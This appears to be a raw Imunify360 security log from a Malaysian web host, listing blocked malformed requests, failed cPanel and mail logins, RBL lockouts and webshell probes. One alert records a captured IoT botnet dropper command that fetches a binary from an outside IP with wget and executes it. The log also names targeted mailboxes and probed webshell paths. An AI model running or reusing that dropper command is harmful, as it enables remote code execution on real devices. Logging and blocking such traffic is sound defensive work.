IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Private-Factory-Selangor-Malaysia/pipe-repair-private-factory-10.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.249.78
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/valves-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.67.213.227
country_id: 2287781
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Termeloh-Pahang-Malaysia/pipe-repair-termeloh-pahang-16.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.230.105.234
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Merlimau-WTP/Ancillary-Engineering-merlimau-WTP-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.121.58
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Bukit-Sentul-WTP-Selangor-Malaysia/Pipe-Connection-Bukit-Sentul-WTP-09.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.134.155
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Sensor-Bracket-Truss-Stand/Ancillary-Engineering-KTU-WTP-08.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.33.151
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-SSP2/ssp-penstock-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.175.95.94
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/pipeworks-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.120.49
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Bhashanchar-Land-Side-Drainage/penstock-bhashanchar-11.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.48.160.72
country_id: 290557
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/pipe-repair-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.185.214
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-JPS-Sabah-Malaysia/penstock-jps-sabah-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.6.149.177
country_id: 1643084
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Sibu-RTB3-Pipe-Column/pipework-Sibu-RTB3-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.216.117.72
country_id: 357994
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Miri-STP-Sarawak/penstock-miri-stp-12.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.54.70.206
country_id: 3686110
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Bukit-Sah-Water-Treatment-Plant-Terengganu-Malaysia/ancillary-engineering-bukit-sah-wtp-12.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.126.150.217
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Palembang-Sewage-Indonesia/penstock-palembang-sewage-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.174.203.252
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Santubong-WTP-Sarawak/penstock-santubong-WTP-09.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.180.114.210
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2022-Ampang-Intake-Selangor-Malaysia/pipe-repair-ampang-intake-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.196.244.129
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2021-Felda-Sabah-Malaysia/penstock-felda-sabah-02.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.170.211
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2019-Old-WTP-of-The-Oya-Water-Supply-Scheme-Sri-Lanka/penstock-ancillary-engineering-wtp-oya-sri-lanka-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.6.84
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Wasan-Bebuloh-Mechanised-Rice-Scheme-Brunei/penstock-wasan-bebuloh-brunei-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.167.227.40
country_id: 3508796
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/pipe-connection-chs.svg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.116.160
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/project-references/2020-Puncak-Gama-KLR360-STP-KL-Malaysia/Penstock-Puncak-Gama-01.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.228.64
country_id: 3437598
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/wing/15/511/1590425 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.65.195
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/cry/144/39942 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.198.159.97
country_id: 2782113
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/company.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.113.77.203
country_id: 2328926
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/silentnight2.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.203.39
country_id: 3469034
description:
Jan 22 06:08:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.203.39 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.59.173.178
country_id: 3017382
description:
[2026-01-22 06:09:58 +0800] info [cpaneld] 37.59.173.178 - kimmark "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.224.131.188
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=11 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.151.21.33
country_id: 3996063
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/product-posts/assets/img/chainlink.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 104.15.219.163
country_id: 6252001
domain: www.oxbold.com
description:
IM360 WAF: Possible XSS in arguments||MV:https://www.oxbold.com/onedaypilot.htm?fbclid=iwzxh0bgnhzw0cmteac3j0ywzhchbfawqknjyyodu2odm3oqabhkjtp2t5mirynqxnf-f2q-u17fy-diijwxmhceohvfrsmq2ywt-63w35z9jo_aem_oojr6wwz_vrrqaae-k8mfw||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-01-22 06:17:30 dovecot_login authenticator failed for H=([221.209.48.203]) [221.209.48.203]:44634: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.209.48.203
country_id: 1814991
description:
Jan 22 06:17:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.209.48.203 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.254.104.35
country_id: 3625428
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3272.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.17
country_id: 2542007
description:
Jan 22 06:18:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-22 06:18:03 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:43888: 535 Incorrect authentication data (set_id=weisiong.wan@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.115.171.11
country_id: 3923057
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3003.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.179.116
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3268.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.210.244.202
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3922.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.215.155.227
country_id: 953987
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3019.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.71.67
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3380.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.166.244.3
country_id: 1562822
domain: www.lvconsult.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.lvconsult.com.my/wp-content/uploads/2016/07/sc_3731.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.97
country_id: 3175395
description:
Jan 22 06:19:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.97 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.113.150.255
country_id: 2589581
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/sand/239/296786 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/fphortier/images/news.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.56
country_id: 2542007
description:
Jan 22 06:24:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-22 06:24:19 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:40233: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.165.215.170
country_id: 1733045
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/img/photos/9855151585.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 06:26:28 H=([45.144.212.242]) [45.144.212.242]:61162 F=<no_reply@admin.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.203
country_id: 2300660
description:
Jan 22 06:29:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.203
country_id: 2300660
description:
Jan 22 06:29:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.203 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.184.76.245
country_id: 6252001
description:
Jan 22 06:31:57 sv3 pure-ftpd[3781423]: (?@195.184.76.245) [INFO] New connection from 195.184.76.245


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.184.76.243
country_id: 6252001
description:
Jan 22 06:31:57 sv3 pure-ftpd[3781426]: (?@195.184.76.243) [INFO] New connection from 195.184.76.243


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.230.228.135
country_id: 1512440
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=56121516002362 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.48
country_id: 1880251
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/print-2/images/tyresafetytips.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.220.99
country_id: 1562822
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/smart.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 06:39:05 H=([45.144.212.242]) [45.144.212.242]:58265 F=<no_reply@admin.com> rejected RCPT <julie@nobledec.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.134.8
country_id: 3469034
description:
Jan 22 06:39:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.134.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 06:41:27 H=([45.144.212.242]) [45.144.212.242]:61593 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: modsec
rule: 77142263
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 64.34.87.123
country_id: 6252001
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.64||T:APACHE||MVN:ARGS:mdc||MV:cd /tmp;rm arm7; wget http://46.38.156.31/arm7; chmod 777 *; ./arm7 tbk||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 66.93.228.227
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:06-51.66.93.228.227||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.188.156
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1102-MSCL-BEND-ELBOW.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.205.1.201
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1160-16-RING-FLANGE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.120.150
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1150-MS-COLLAR.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.100.204
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1104-MSCL-TEE-INVERT-TEE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.226.105.102
country_id: 3469034
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1160-10-BLIND-FLANGE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.43.132.3
country_id: 163843
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1170-FELXIBLE-JOINT.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.116
country_id: 3175395
description:
Jan 22 06:51:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.105.212
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Pipeworks/M1101-STRAIGHT-MSCL-PIPE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.240
country_id: 3469034
description:
Jan 22 06:54:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.81.153
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/img/img/demos/img/photos/img/index.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.172.114.195
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0203-T-KEY.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.102.246.28
country_id: 3865483
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0205-S-STEM-CAP.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.213.181.3
country_id: 3573591
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0111-FABRICATED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.119.21
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M1900-Z-Z-TYPE-HEADSTOCK-STAND.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.26.233.30
country_id: 3439705
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0201-01-EXTENSION-SPINDLE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.52.243.251
country_id: 102358
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0202-ES-WALL-SPINLDE-BRACKET GUIDE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.217.198.49
country_id: 3996063
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0202-EE-WALL-SPINLDE-BRACKET-GUIDE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.153.170.36
country_id: 1210997
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0112-FABRICATED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.24.17.208
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0122-FABRICATED-INCLINED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.169.38
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0121-FABRICATED-INCLINED-HEADSTOCK.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.228.85
country_id: 3437598
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0201-03-EXTENSION-SPINDLE-PIPE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.190.101.179
country_id: 2542007
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0202-EH-WALL-SPINLDE-BRACKET-GUIDE.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.183.221.52
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0205-H-HANDWHEEL.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.236.207.62
country_id: 1562822
domain: www.chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.chs.com.my/images/product-range/Ancillary-Engineering-Service/M0199-MC-MUFF-COUPLER.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.230.137
country_id: 1562822
domain: www.chs.com.my
description:
